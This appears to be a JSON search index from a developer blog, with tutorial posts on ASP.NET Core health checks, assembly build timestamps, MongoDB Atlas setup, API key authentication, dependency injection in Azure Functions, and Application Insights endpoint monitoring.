endpoints.MapHealthChecks(&#34;\/healthcheck&#34;); endpoints.MapHealthChecks(&#34;\/healthcheck-details&#34;, new HealthCheckOptions { ResponseWriter = async (context, report) =&gt; { var result = JsonSerializer.Serialize( new { status = report.Status.ToString(), monitors = report.Entries.Select(e =&gt; new { key = e.Key, value = Enum.GetName(typeof(HealthStatus), e.Value.Status) }) }); context.Response.ContentType = MediaTypeNames.Application.Json; await context.Response.WriteAsync(result); } } ); }); } Startup.cs\nRun again and access the endpoints \/healthcheck-details.\nNow you can customize the response of your Health Check Endpoint with anything you need.\nIn the next article, I&rsquo;ll show you how to put a good UI (user interface) to it.\nSource Code #https:\/\/github.com\/ricardodemauro\/HerosApi-Blog\n","date":"April 25, 2021","permalink":"https:\/\/rmauro.dev\/adding-health-checks-to-net-core-application\/","section":"Posts","summary":"<h2 id=\"health-endpoint-monitoring-pattern\" class=\"relative group\">Health Endpoint Monitoring pattern <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#health-endpoint-monitoring-pattern\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p><code>Health Check<\/code> in <strong>.NET 5<\/strong> is very simple. With just a few lines of code, you can set up everything to monitor the <strong>Health of our Application<\/strong>.<\/p>\n<blockquote>\n<p>Implement functional checks in an application that external tools can access through exposed endpoints at regular intervals. This can help to verify that applications and services are performing correctly.<\/p>","title":"Health Checks on your ASP.NET Core Application"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/healthcheck\/","section":"Tags","summary":"","title":"HealthCheck"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/mongodb\/","section":"Tags","summary":"","title":"MongoDb"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/monitoring\/","section":"Tags","summary":"","title":"Monitoring"},{"content":"Having the Assembly version is great. This give us insights of wich version is running. Have the build time can also useful. Specially when we&rsquo;re troubleshooting our application and we&rsquo;re not sure of which version is running.\nFor instance besides having only the assembly version we can have the version + time of the build. Such as version 1.1.0 build at 2021-04-21 23:11:00.\nPrelude #Often in our Developer, DevOps or infrastructure life we find ourselves wondering:\nIs this the right assembly? Why my changes are not there? What happened? WHich version is this? Is this the latest version? Oh man, why is this not working? Oh my gosh. I hate this&hellip; hahhahaha This happens especially when we don&rsquo;t have control over the deployment and it&rsquo;s published by a third-party professional.\nBy default, DotNet doesn&rsquo;t provide us that. Let&rsquo;s get started!\n&gt; This works in .Net Core 3.1 and .NET 5.\nTo make this happen we&rsquo;re going to tell .NET compiler while building the code to also write in the assembly&rsquo;s SourceRevisionId tag the System.DateTime.Now or System.DateTime.UtcNow.\nAdding Build Time to Our Assembly #Open your csproj file and add the tag SourceRevisionId with the following content.\n&lt;Project Sdk=&#34;Microsoft.NET.Sdk&#34;&gt; &lt;!--existing entries--&gt; &lt;PropertyGroup&gt; &lt;SourceRevisionId&gt;build$([System.DateTime]::UtcNow.ToString(&#34;yyyy-MM-ddTHH:mm:ss:fffZ&#34;))&lt;\/SourceRevisionId&gt; &lt;\/PropertyGroup&gt; &lt;\/Project&gt; App.csproj\nIt works for Console App, Windows Forms, WPF, Web App and Xamarin.\n\ud83d\udca1\nWhat about others? I have no clue.\nTo get the written date using C# create the method GetLinkerTime() as described next.\nusing System; using System.Globalization; using System.Reflection; const string BuildVersionMetadataPrefix = &#34;+build&#34;; const string dateFormat = &#34;yyyy-MM-ddTHH:mm:ss:fffZ&#34;; public static DateTime GetLinkerTime(Assembly assembly) { var attribute = assembly .GetCustomAttribute&lt;AssemblyInformationalVersionAttribute&gt;(); if (attribute?.InformationalVersion != null) { var value = attribute.InformationalVersion; var index = value.IndexOf(BuildVersionMetadataPrefix); if (index &gt; 0) { value = value[(index + BuildVersionMetadataPrefix.Length)..]; return DateTime.ParseExact( value, dateFormat, CultureInfo.InvariantCulture); } } return default; } Method GetLinkerTime\nFull Application - Sample Console Application #using System.Globalization; using System.Reflection; Console.WriteLine(&#34;Hello World!&#34;); var buildTime = GetLinkerTime(Assembly.GetEntryAssembly()); Console.WriteLine($&#34;Build time at {buildTime}&#34;); Console.WriteLine(&#34;Write any key to close&#34;); Console.ReadKey(); public static DateTime GetLinkerTime(Assembly assembly) { const string BuildVersionMetadataPrefix = &#34;+build&#34;; const string dateFormat = &#34;yyyy-MM-ddTHH:mm:ss:fffZ&#34;; var attribute = assembly .GetCustomAttribute&lt;AssemblyInformationalVersionAttribute&gt;(); if (attribute?.InformationalVersion != null) { var value = attribute.InformationalVersion; var index = value.IndexOf(BuildVersionMetadataPrefix); if (index &gt; 0) { value = value[(index + BuildVersionMetadataPrefix.Length)..]; return DateTime.ParseExact( value, dateFormat, CultureInfo.InvariantCulture); } } return default; } Sample Program.cs\nSample output.\nsample output\nSource Code #ricardodemauro\/buildTimeConsoleApp-tutorialContribute to ricardodemauro\/buildTimeConsoleApp-tutorial development by creating an account on GitHub. GitHubricardodemauro ","date":"April 21, 2021","permalink":"https:\/\/rmauro.dev\/add-build-time-to-your-csharp-assembly\/","section":"Posts","summary":"<p>Having the Assembly version is great. This give us insights of wich version is running. Have the <em>build time<\/em> can also useful. Specially when we&rsquo;re troubleshooting our application and we&rsquo;re not sure of which version is running.<\/p>\n<p>For instance besides having only the assembly <em><code>version<\/code><\/em> we can have the <em><code>version + time<\/code><\/em> of the build. Such as <code>version 1.1.0 build at 2021-04-21 23:11:00<\/code>.<\/p>\n<h2 id=\"prelude\" class=\"relative group\">Prelude <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#prelude\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Often in our <em>Developer<\/em>, <em>DevOps<\/em> or <em>infrastructure<\/em> life we find ourselves wondering:<\/p>","title":"Add Build Time to your C# Assembly"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/beginners\/","section":"Tags","summary":"","title":"Beginners"},{"content":"**MongoDB is a document-oriented NoSQL database used for high volume data storage. Instead of using tables and rows as in the traditional relational databases, MongoDB makes use of collections and documents.\nMongoDb is very easy to get started - That is why I love MongoDb. I think it&rsquo;s the best to get started as a software developer.\nIf you are like me - like MongoDb - or you&rsquo;re just studying it. Mongo Atlas is the right choice for you - get out of infrastructure bottlenecks.\nMongo Atlas is like the Cloud for MongoDb database - Database as a Service.\nMongo Atlas is Cloud-hosted MongoDB service on AWS, Azure and Google Cloud. Deploy, operate, and scale a MongoDB database in just a few clicks\nhttps:\/\/www.mongodb.com\/cloud\/atlas\/lp\/try2\nMongo Atlas it is free for developers and SRE like us and easy to get started.\nIn this tutorial let&rsquo;s lean how to:\nConfigure Mongo Atlas and MongoDb Set application username and password Set Mongo Atlas firewall - grant IP address access to the cluster Configuring MongoDB in the Mongo Atlas cloud #Let&rsquo;s get started. Navigate to Mongo Atlas website (https:\/\/www.mongodb.com\/cloud\/atlas)\nClick Try free button (top right corner) if you don&rsquo;t have an account.\nMongo Atlas Home Page\nCreating an account to access Mongo Atlas #Fill in the required information requested, such as email, first name, last name and password. Accepted the terms of agreement and them click Get started free - yes, it&rsquo;s free.\nActivate your account with the received email (Welcome to MongoDB or something like that).\nSign In #Log in using your credentials (username and password).\nPreparing your environment - creating the cluster #Let&rsquo;s use our first cluster.\nBy the way, cluster is where the MongoDb databases will be stored - we can create more than one.\nClick on Build a Cluster. Select the free (Starter Clusters) cluster and then click Create a cluster. In Cloud Provider select Azureand leave pre-selected region selected Virginia (eastus2). Leave the default value for the rest of the fields. Last click on Create Cluster and wait it to finish. The blue top bar indicates the status of the creation of the cluster. It may take a while to finish.\nImportant thing on the dashboard screen - What are we seeing here? #On the left side we have menu with options to manage our cluster, such as Database Access and Network Access.\nData Storage\/Clusters - contains general information about the cluster. It&rsquo;s also where we will get the ConnectionString for our application to use. Security\/Database Access - we can manage users, passwords and permissions to access the databases. Security\/Network Access - manage firewall rules - grant or block IP address for accessing our cluster. These are the main options for us.\nPreparing the environment for our application #Let&rsquo;s create our first database so we can start insert and reading data from it.\nSo far we have only the cluster, with no databases to access.\nCreating the first user #Now we should create a database user for our application to use.\nClick on menu Security\/Database Access and then on ADD NEW USER (right side - green button).\nUsername = studenty Password = randompassowrd - or you can use *Autogenerate Secure Password* button User privileges = read and write to any database user fields\nClick Add User to create our first user.\nCreating our first firewall rule #In this section we&rsquo;re going to create a rule to grant access for our IP address to access the cluster.\nClick on menu Security\/Network Access and then on ADD IP ADDRESS button.\nOn the popup window click on ADD CURRENT IP ADDRESS - this will grant access to your current IP address.\nFinally click on Confirm button.\nCollecting Connection String #The connectionString contains the necessary information for a given application (C#, Python, NodeJs, C, C++, Go, etc) to access our database.\nClick on Data Store\/Clusters menu and then click on CONNECT.\nOn opened popup click on Connect your application.\nMongo Atlas Connection Popup\nSelect the driver language you need and the version and them copy the connection string.\nConnectionString sample\nYou should get something like:\nclient = pymongo.MongoClient(&#34;mongodb+srv:\/\/randuser:&lt;password&gt;@nops.dhfxf.azure.mongodb.net\/myFirstDatabase?retryWrites=true&amp;w=majority&#34;) db = client.test Don&rsquo;t forget to replace the password field with your actual password.\nTesting #If you docker installed, you can run the following command.\ndocker run -e MONGO_CONNECTION_STRING=&#34;{YOUR-CONNECTION-STRING-HERE}&#34; -p 3000:3000 ricardomauro\/node_mongo_heros:latest docker command\nDon&rsquo;t forget to replace the MONGO_CONNECTION_STRING with your connection string.\nThis is a simple NodeJs CRUD application that connects to MongoDb.\nIt has the operations:\nGET http:\/\/localhost:3000\/api\/heros GET http:\/\/localhost:3000\/api\/heros\/:id POST http:\/\/localhost:3000\/api\/heros { &#34;name&#34;: &#34;Spider-Man&#34;, &#34;description&#34;: &#34;Marvels hero&#34; } body create\nSource code at: https:\/\/github.com\/ricardodemauro\/mongo%5Fheros%5Fapp\nSumary #In this blog post we saw how to:\ncreate a Mongo Atlas account create a cluster create a database setup firewall rules setup a user and password Hope you like it and leave a comment.\n","date":"April 18, 2021","permalink":"https:\/\/rmauro.dev\/create-a-free-mongodb-cluster-in-the-cloud-mongo-atlas-free-account\/","section":"Posts","summary":"<p>**<strong>MongoDB<\/strong> is a document-oriented NoSQL database used for high volume data storage. Instead of using tables and rows as in the traditional relational databases, MongoDB makes use of collections and documents.<\/p>\n<p>MongoDb is very easy to get started - That is why I love <strong>MongoDb<\/strong>. I think it&rsquo;s the best to get started as a software developer.<\/p>\n<p>If you are like me - like <strong>MongoDb<\/strong> - or you&rsquo;re just studying it. Mongo Atlas is the right choice for you - get out of infrastructure bottlenecks.<\/p>","title":"Create a free MongoDb Cluster in the Cloud - Mongo Atlas free account"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/nosql\/","section":"Tags","summary":"","title":"NoSql"},{"content":"In this article, we&rsquo;re going to create the code (and understand how it works) to handle API Key authentication with just three lines of code extending the native Authentication mechanism.\nWe want a simple and stupid solution and not some crazy implementation using MVC [Attributes] or any customized middleware to handle the Authentication.\nservices.AddAuthentication(ApiKeyAuthNDefaults.SchemaName) .AddApiKey(opt =&gt; \/\/here is our handler { opt.ApiKey = &#34;Hello-World&#34;; opt.QueryStringKey = &#34;key&#34;; }); Solution - Adding API Key Authentication Service\nOk, ok, ok. I know it&rsquo;s hard to find a good implementation of API Key Authentication out there on the internet. I think it&rsquo;s also hard to ourself&rsquo;s needing of API Key Authentication on daily basis.\nBut now you found it now! Hope you like it. Leave a comment :)\nDisclaimer: Maybe I&rsquo;m writing this article mad with someone hahahahaha. Please forgive me.\nIntroduction #The native implementation of ASP.NET Authentication allows us to extend it and create our validation logic.\nWith the AddScheme builder, we&rsquo;re going to implement the APIKey Authentication.\nEverything begins with the services.AddAuthentication code. This builder provides us the ability to use the method AddScheme. Here is where our Auth ApiKey handler goes.\nStarting with the Code #Let&rsquo;s start by creating the file ApiKeyAuthNOptions.cs. This file will contain all configurations of our ApiKeyAuthN service, such as the QueryStringKey and ApiKey.\nusing Microsoft.AspNetCore.Authentication; namespace APIAuthentication.Resource.Infrastructure { public class ApiKeyAuthNOptions : AuthenticationSchemeOptions { public string ApiKey { get; set; } public string QueryStringKey { get; set; } } } ApiKeyAuthNOptions.cs\nThe second step is the file ApiKeyAuthN.cswith the following content.\nusing Microsoft.AspNetCore.Authentication; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Options; using System.Text.Encodings.Web; using System.Threading.Tasks; namespace APIAuthentication.Resource.Infrastructure { public static class ApiKeyAuthNDefaults { public const string SchemaName = &#34;ApiKey&#34;; } public class ApiKeyAuthN : AuthenticationHandler&lt;ApiKeyAuthNOptions&gt; { public ApiKeyAuthN( IOptionsMonitor&lt;ApiKeyAuthNOptions&gt; options, ILoggerFactory logger, UrlEncoder encoder, ISystemClock clock) : base(options, logger, encoder, clock) { } protected override Task&lt;AuthenticateResult&gt; HandleAuthenticateAsync() { throw new System.NotImplementedException(); } } } Initial implementation of ApiKeyAuthN.cs\nThe class AuthenticationHandler is responsible for making the validation and create the Authentication Ticket for the user.\nI think you can guess where to put the validation logic, right?\nHere is the implementation.\nprotected override Task&lt;AuthenticateResult&gt; HandleAuthenticateAsync() { var apiKey = ParseApiKey(); \/\/ handles parsing QueryString if (string.IsNullOrEmpty(apiKey)) \/\/no key was provided - return NoResult return Task.FromResult(AuthenticateResult.NoResult()); if (string.Compare(apiKey, Options.ApiKey, StringComparison.Ordinal) == 0) { var principal = BuildPrincipal(Scheme.Name, Options.ApiKey, Options.ClaimsIssuer ?? &#34;ApiKey&#34;); return Task.FromResult(AuthenticateResult.Success(new AuthenticationTicket(principal, Scheme.Name))); \/\/Success. Key matched } return Task.FromResult(AuthenticateResult.Fail($&#34;Invalid API Key provided.&#34;)); \/\/Wrong key was provided } HandleAuthentication - ApiKeyAuthN.cs\nprotected string ParseApiKey() {\tif (Request.Query.TryGetValue(Options.QueryStringKey, out var value)) return value.FirstOrDefault(); return string.Empty; } ParseApiKey method - ApiKeyAuthN.cs\nstatic ClaimsPrincipal BuildPrincipal( string schemeName, string name, string issuer, params Claim[] claims) { var identity = new ClaimsIdentity(schemeName); identity.AddClaim(new Claim(ClaimTypes.NameIdentifier, name, ClaimValueTypes.String, issuer)); identity.AddClaim(new Claim(ClaimTypes.Name, name, ClaimValueTypes.String, issuer)); identity.AddClaims(claims); var principal = new ClaimsPrincipal(identity); return principal; } BuildPrincipal method - ApiKeyAuthN.cs\nThe implementation of BuildPrincipal is up to you. You should customize the ClaimsIdentity with the Claims you find necessary in your application, such as Role, PhoneNumber, Issuer, Partner Id, among others.\nWrapping thing up - We&rsquo;re almost there #We have everything we need to start the authentication. Open your Startup.cs file and add the following contents.\npublic void ConfigureServices(IServiceCollection services) { services.AddAuthentication(ApiKeyAuthNDefaults.SchemaName) .AddScheme&lt;ApiKeyAuthNOptions, ApiKeyAuthN&gt;(ApiKeyAuthNDefaults.SchemaName, opt =&gt; { opt.ApiKey = &#34;Hello-World&#34;; opt.QueryStringKey = &#34;key&#34;; opt.ClaimsIssuer = &#34;API-Issuer&#34;; }); services.AddAuthorization(); } Configure method - Startup.cs\nIn AddScheme we&rsquo;re configuring the service to use our Authentication handler. Next set up the Configure method to use Authentication and Authorization middlewares.\npublic void Configure(IApplicationBuilder app, IWebHostEnvironment env) { if (env.IsDevelopment()) app.UseDeveloperExceptionPage(); app.UseRouting(); app.UseAuthentication(); \/\/adds authentication middleware app.UseAuthorization(); \/\/adds authorization middleware app.UseEndpoints(endpoints =&gt; { endpoints.MapGet(&#34;\/&#34;, async context =&gt; { await context.Response.WriteAsync($&#34;Hello World!{Environment.NewLine}&#34;); await WriteClaims(context); }).RequireAuthorization(); \/\/forces user to be authenticated endpoints.MapGet(&#34;\/anonymous&#34;, async context =&gt; { await context.Response.WriteAsync($&#34;Hello World!{Environment.NewLine}&#34;); await WriteClaims(context); }); \/\/allow anonymous }); } static async Task WriteClaims(HttpContext context) { if (context.User.Identity.IsAuthenticated) { await context.Response.WriteAsync($&#34;Hello {context.User.Identity.Name}!{Environment.NewLine}&#34;); foreach (var item in context.User.Identities.First().Claims) { await context.Response.WriteAsync($&#34;Claim {item.Issuer} {item.Type} {item.Value}{Environment.NewLine}&#34;); } } } Startup.cs - Configure\nWe also added WriteClaims method to see the user&rsquo;s Claims.\nLet&rsquo;s run it. #Without API Key\nFailed to load without API Key\nWith API Key added\nClaims of API Key\nMaking it easier to use #Let&rsquo;s create an extension method builder for our AddApiKey handler.\nCreate the file ApiKeyAuthNExtensions.cs with the following contents.\nusing APIAuthentication.Resource.Infrastructure; using System; namespace Microsoft.AspNetCore.Authentication { public static class ApiKeyAuthNExtensions { public static AuthenticationBuilder AddApiKey(this AuthenticationBuilder builder, Action&lt;ApiKeyAuthNOptions&gt;? configureOptions) =&gt; AddApiKey(builder, ApiKeyAuthNDefaults.SchemaName, configureOptions); public static AuthenticationBuilder AddApiKey(this AuthenticationBuilder builder, string authenticationScheme, Action&lt;ApiKeyAuthNOptions&gt;? configureOptions) =&gt; builder.AddScheme&lt;ApiKeyAuthNOptions, ApiKeyAuthN&gt;(authenticationScheme, configureOptions); } } ApiKeyAuthNExtensions.cs\nThis adds the extension method AddApiKey instead of calling AddScheme.\nChange the Configure method in Startup class to use the new method.\npublic void ConfigureServices(IServiceCollection services) { services.AddAuthentication(ApiKeyAuthNDefaults.SchemaName) .AddApiKey(opt =&gt; { opt.ApiKey = &#34;Hello-World&#34;; opt.QueryStringKey = &#34;key&#34;; }); \/\/new version \/\/.AddScheme&lt;ApiKeyAuthNOptions, ApiKeyAuthN&gt;(ApiKeyAuthNDefaults.SchemaName, opt =&gt; \/\/{ \/\/ opt.ApiKey = &#34;Hello-World&#34;; \/\/ opt.QueryStringKey = &#34;key&#34;; \/\/}); \/\/old version services.AddAuthorization(); } Method ConfigureServices - Startup.cs\nThis is it! Hope you like it. Leave a comment.\nSource Code\nricardodemauro\/article-APIAuthenticationContribute to ricardodemauro\/article-APIAuthentication development by creating an account on GitHub. GitHubricardodemauro source code at github\nDisclaimer: There is a good implementation in the format of nuget package here: https:\/\/github.com\/mihirdilip\/aspnetcore-authentication-apikey.\n","date":"March 28, 2021","permalink":"https:\/\/rmauro.dev\/api-key-authentication-extending-the-native-implementation\/","section":"Posts","summary":"<p>In this article, we&rsquo;re going to create the code (and understand how it works) to handle API Key authentication with just three lines of code extending the native Authentication mechanism.<br>\nWe want a simple and stupid solution and not some crazy implementation using <em>MVC<\/em> <code>[Attributes]<\/code> or any customized <em>middleware<\/em> to handle the Authentication.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"n\">services<\/span><span class=\"p\">.<\/span><span class=\"n\">AddAuthentication<\/span><span class=\"p\">(<\/span><span class=\"n\">ApiKeyAuthNDefaults<\/span><span class=\"p\">.<\/span><span class=\"n\">SchemaName<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">.<\/span><span class=\"n\">AddApiKey<\/span><span class=\"p\">(<\/span><span class=\"n\">opt<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"c1\">\/\/here is our handler<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">opt<\/span><span class=\"p\">.<\/span><span class=\"n\">ApiKey<\/span> <span class=\"p\">=<\/span> <span class=\"s\">&#34;Hello-World&#34;<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">opt<\/span><span class=\"p\">.<\/span><span class=\"n\">QueryStringKey<\/span> <span class=\"p\">=<\/span> <span class=\"s\">&#34;key&#34;<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">});<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Solution - Adding API Key Authentication Service<\/p>\n<p>Ok, ok, ok. I know it&rsquo;s hard to find a good implementation of API Key Authentication out there on the internet. I think it&rsquo;s also hard to ourself&rsquo;s needing of API Key Authentication on daily basis.<br>\nBut now you found it now! Hope you like it. Leave a comment :)<\/p>","title":"API Key Authentication - Extending the native implementation"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/authorization\/","section":"Tags","summary":"","title":"Authorization"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/az204\/","section":"Tags","summary":"","title":"AZ204"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/azure-functions\/","section":"Tags","summary":"","title":"Azure-Functions"},{"content":"C# Azure Functions support dependency injection through the native container.\nThis allows us to use the Dependency Inject principle in native Azure Functions. In this post, we&rsquo;re going to create a simple function to demonstrate the use of it.\nIntroduction # Azure Functions allows you to run small pieces of code (called &ldquo;functions&rdquo;) without worrying about application infrastructure. With Azure Functions, the cloud infrastructure provides all the up-to-date servers you need to keep your application running at scale.\nhttps:\/\/docs.microsoft.com\/en-us\/azure\/azure-functions\/functions-overview\nFor this demonstration, we&rsquo;re going to use this RandomNumberService to Inject into our function.\nusing System; namespace DependFunction.Services { public interface IRandomNumber { int GetRandom(); } public class RandomNumberService : IRandomNumber { static readonly Random _rand = new Random(); \/\/Get&#39;s a random number public int GetRandom() =&gt; _rand.Next(0, 10); } } RandomNumberService.cs\nRequired Dependencies #Install\/Update the following NuGet packages in your project.\nMicrosoft.Azure.Functions.Extensions Microsoft.NET.Sdk.Functions &lt;Project Sdk=&#34;Microsoft.NET.Sdk&#34;&gt; &lt;!--ommited code--&gt; &lt;ItemGroup&gt; &lt;PackageReference Include=&#34;Microsoft.Azure.Functions.Extensions&#34; Version=&#34;1.1.0&#34; \/&gt; &lt;PackageReference Include=&#34;Microsoft.NET.Sdk.Functions&#34; Version=&#34;3.0.9&#34; \/&gt; &lt;\/ItemGroup&gt; &lt;!--ommited code--&gt; &lt;\/Project&gt; Csproj of the function\nRegistering the Services in the Container #To register the services and we&rsquo;re going to create a startup function, just like we have in a common asp.net core application.\nCreate a file called FunctionStartup.cs at the root of your application.\nSolution Explorer\nPaste the following content into the file.\nusing DependFunction.Services; using Microsoft.Azure.Functions.Extensions.DependencyInjection; using Microsoft.Extensions.DependencyInjection; [assembly: FunctionsStartup(typeof(DependFunction.Startup))] namespace DependFunction { public class Startup : FunctionsStartup { public override void Configure(IFunctionsHostBuilder builder) { builder.Services.AddSingleton&lt;IRandomNumber, NumberService&gt;(); } } } FunctionStartup.cs\nExplanation #Before the namespace we&rsquo;re registering our class as a dependency start the function [assembly: FunctionsStartup(typeof(DependFunction.Startup))].\nIt will tell the function runtime to trigger our class before serving HTTP requests.\nPs.: Do not use to process other things, only to register services.\nInheriting FunctionStartup we gain access to IFunctionsHostBuilder object where we can register all dependencies, such as Scoped, Transient, or Singleton.\nService Lifetime # Transient: Transient services are created upon each request of the service. Scoped: The scoped service lifetime matches a function execution lifetime. Scoped services are created once per execution. Singleton: The singleton service lifetime matches the host lifetime and is reused across function executions on that instance. Using the service though Dependency Injection #Open your function file do the following changes\nRemove static marker from the class and the function (we need to inject using constructors) Create a constructor and inject the dependency interface You should end with something like this:\nusing System; using DependFunction.Services; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.Extensions.Logging; namespace DependFunction { public class Function1 { private readonly IRandomNumber _randomService; public Function1(IRandomNumber randomService) { _randomService = randomService ?? throw new ArgumentNullException(nameof(randomService)); } [FunctionName(&#34;Function1&#34;)] public IActionResult Run( [HttpTrigger(AuthorizationLevel.Anonymous, &#34;get&#34;, &#34;post&#34;, Route = null)] HttpRequest req, ILogger log) { log.LogInformation(&#34;C# HTTP trigger function processed a request.&#34;); var result = new { random = _randomService.GetRandom() }; return new OkObjectResult(result); } } } function.cs\nTesting #Run the application and access the URL for testing.\nSource Code #ricardodemauro\/az-functions-articleContribute to ricardodemauro\/az-functions-article development by creating an account on GitHub. GitHubricardodemauro Source Code of Azure Function\nHope you like it. Subscribe for more fresh content.\n","date":"October 1, 2020","permalink":"https:\/\/rmauro.dev\/native-dependency-injection-in-azure-functions-with-csharp\/","section":"Posts","summary":"<p>C# Azure Functions support dependency injection through the native container.<\/p>\n<p>This allows us to use the Dependency Inject principle in native Azure Functions. In this post, we&rsquo;re going to create a simple function to demonstrate the use of it.<\/p>\n<h2 id=\"introduction\" class=\"relative group\">Introduction <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#introduction\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><blockquote>\n<p>Azure Functions allows you to run small pieces of code (called &ldquo;functions&rdquo;) without worrying about application infrastructure. With Azure Functions, the cloud infrastructure provides all the up-to-date servers you need to keep your application running at scale.<br>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/azure\/azure-functions\/functions-overview\" target=\"_blank\" rel=\"noreferrer\">https:\/\/docs.microsoft.com\/en-us\/azure\/azure-functions\/functions-overview<\/a><\/p>","title":"Native Dependency Injection in Azure Functions with C#"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/serverless\/","section":"Tags","summary":"","title":"Serverless"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/application-insights\/","section":"Tags","summary":"","title":"Application Insights"},{"content":"Let&rsquo;s explore the use of Microsoft Azure Application Insights to monitor the health of our application using the endpoint \/healthcheck.\nApplications Insights it&rsquo;s a great tool for monitoring, error logging, performance monitoring, dependency mapping, and other things. In other words, it&rsquo;s a full APM - Application Performance Management - ready for you to use in Production Environments.\nApplication Insights, a feature of Azure Monitor, is an extensible Application Performance Management (APM) service for developers and DevOps professionals.\nhttps:\/\/docs.microsoft.com\/pt-br\/azure\/azure-monitor\/app\/app-insights-overview\n\ud83d\udcac In this Issue # Recap of Previous Articles Check the Prices Before Use in Production One Simple Requirement Creating the Application Insights Resource Conclusion - The Results Recap of Previous Articles #This is the third article about Health Checks and Application Monitoring.\nAdding Health Check endpoint Adding UI Health Check Using Application Insights Endpoint Monitoring --&gt; this article Using Azure App Services Endpoint Monitoring Check the Prices Before Use in Production #Check out the prices before adopt in your work project.\nPrices from https:\/\/azure.microsoft.com\/en-us\/pricing\/details\/monitor\/\nCheck the latest updated prices at https:\/\/azure.microsoft.com\/en-us\/pricing\/details\/monitor\/.\nOne Simple Requirement #Our API should be available over the internet (Application Insights should have access to hit it).\nThis article assumes that you have a Health Checks endpoint up and running available over the internet.\nGo back to this article to set up and then return here.\nThe Health Check UI is not necessary for this article, only the API endpoint.\nI published mine at https:\/\/webapphealthchecks.azurewebsites.net\/\nYou can use it for testing purposes if you like.\nCreating the Application Insights Resource #Access the Azure Portal at https:\/\/portal.azure.com and access the Application Insights blade and click Add to create a new resource.\nCreate Application Insights Resource\nEnter all the required information to create the resource, such as subscription, resource group, etc.\nWhen asked for the Resource Mode choose the Classic.\nCreating the AI\nOnce the Application Insights it&rsquo;s created, go to the Availability section.\nThis is where the monitoring tool is configured to watch our endpoint.\nGo to Availability\nNow click on the +Add Test button.\nAdding Test\nFill in the required information.\nTest name: AI-Ping-WebApp Test Type: URL ping test URL: https:\/\/webapphealthchecks.azurewebsites.net\/healthcheck Parse dependent requests: unchecked Enable retries for availability test failures: checked Test frequency: 5 minutes Test locations: default values Test Timeout: 120 seconds HTTP Response: checked Status code must equal: 200 Content match: checked Content must contain: Healthy Alerts: leave as default And then Create.\nConfigure Application Insights Web Test\nThe Results #Now just wait for the tests to begin and show the results. After a few minutes, you should get something like this.\nLine View Test Results\nScatter Plot Test Results\n\ud83d\ude0e Final thoughts #Wow, finally we made it. That is enough!\nOf course, we can keep going adding more monitoring and making more use of Application Insights.\nShare in the comments section what you would do to make it even better or different.\n\u2764\ufe0f Enjoy this article? #**Forward to a friend and let them know.\n","date":"September 28, 2020","permalink":"https:\/\/rmauro.dev\/endpoint-monitoring-with-azure-application-insights\/","section":"Posts","summary":"<p>Let&rsquo;s explore the use of Microsoft Azure Application Insights to monitor the health of our application using the endpoint <em>\/healthcheck<\/em>.<\/p>\n<p>Applications Insights it&rsquo;s a great tool for monitoring, error logging, performance monitoring, dependency mapping, and other things. In other words, it&rsquo;s a full APM - Application Performance Management - ready for you to use in Production Environments.<\/p>\n<blockquote>\n<p>Application Insights, a feature of <a href=\"https:\/\/docs.microsoft.com\/pt-br\/azure\/azure-monitor\/overview\" target=\"_blank\" rel=\"noreferrer\">Azure Monitor<\/a>, is an extensible Application Performance Management (APM) service for developers and DevOps professionals.<br>\n<a href=\"https:\/\/docs.microsoft.com\/pt-br\/azure\/azure-monitor\/app\/app-insights-overview\" target=\"_blank\" rel=\"noreferrer\">https:\/\/docs.microsoft.com\/pt-br\/azure\/azure-monitor\/app\/app-insights-overview<\/a><\/p>","title":"Endpoint Monitoring with Azure Application Insights"},{"content":"This is the second article about Health Checks and Application Monitoring.\nHealth check by it self is very good feature. But Health Checks with a UI is much better, in fact is awesome!\nAdding Health Check endpoint Adding UI Health Check [this article] Endpoint Monitoring with Azure Application Insights Using Azure App Services Endpoint Monitoring This article assumes that you already have Health Checks up and running.\nIf not go back to article.\nBefore start #The source code of the last article can be found at (https:\/\/github.com\/ricardodemauro\/Health-Check-Series) - branch article-1.\nIn the last blog post we discuss how to add health checks to your application returning JSON 